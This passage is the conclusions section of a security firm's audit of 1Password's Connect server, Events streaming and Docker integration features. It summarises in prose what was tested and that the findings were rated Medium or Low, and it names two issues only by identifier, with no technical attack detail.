The Docker setup and its local discovery has been audited against potential local attackers, evaluating possibilities of websocket hijacking. Those are marginal due to requiring a rogue Docker container or another service that listens on the same interface. The general input validation was found to be solid. Processing of inputs, for example in queries to a locally deployed database, has been found to be secure. Classical web application issues were excluded in this area. The authentication and authorization of the *Connect server* was tested in depth, as it does not only require to verify a client-side JWT token but a service JWT token as well.

Although it was possible to modify the client-side JWT token, all attacks were caught by the B5 backend during the creation of a manipulated service token, therefore prohibiting a malicious admin from accessing any vault. The *Connect server* component also correctly verifies if the sent user JWT *bearer* token matches the associated service token and its permission. This was another positive observation.

The handling of requests which are being sent to the upstream B5 server was found to be secure and no header injections or similar means have been found to alter or inject into these items. Next to that, the *Events streaming* feature was also examined by Cure53 in-depth. As the feature solely relies on the JWT *bearer* token sent by the users, the parsing was checked for common flaws. The algorithm is hardcoded and cannot be influenced by the user, for example via the *none* algorithm. Additionally returned error responses are static and not prone to abuse for leaking additional information of the server-side state, especially as the JWT signature is properly verified.

As the event server's endpoints also accept user-controlled JSON structures, the logic was assessed for potential issues. Although certain limitations were deployed, an issue was discovered as Golang-specific binary structure was accepted, as documented in 1PW-14-004. No other issues were discovered in this field. The creation of the JWT token was examined, as this item is utilized to authenticate against the *events* service. It was found that the JWT structure is solely signed on the client side and it was possible to access other company accounts as documented in 1PW-14-003. This issue was quickly addressed by the 1Password security team during the testing phase. It must be noted that although allowing the client-side to sign a valid JWT structure introduces a potentially huge attack surface, the current 1Password design allowed it to tackle and fix the discovered problem quite quickly.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Lastly, during the review of the provided sources, it was found that 1Password developers make use of the static security scanner *gosec*. This is a very good approach and should be continued to keep up a healthy and clean codebase. Performing static code analysis underlines the solid picture Cure53 got during the audit. All in all, the examined 1Password B5 applications and the related, specifically listed newly implemented integration features, should be considered as solid from a security perspective. Cure53 more broadly confirmed during this audit that the provided applications and builds have the capacity to fend off many different attacks. This clearly shows that the 1Password team is aware of problems that web applications and also local clients tend to face.

As a result, typically the flaws' implications stood only at *Medium* and *Low*, thereby indicating that stable protections are in place. In light of this being the first in-depth examination of the integration features, Cure53 sees this as an excellent outcome. Especially the very meticulously implemented access-control checks in combination with properly implemented cryptographic protections and the correct usage of good frameworks and languages, such as Go, significantly raises the bar for attackers. Once the relevant issues are fixed, Cure53 can be even more confident that the newly introduced integration features have been correctly secured for production use and are capable of delivering a secure foundation.

Cure53 would like to thank Rick van Galen, Chris Meek, Connor Hicks, Graham Brown and David Gunter from the 1Password team for their excellent project coordination, support and assistance, both before and during this assignment.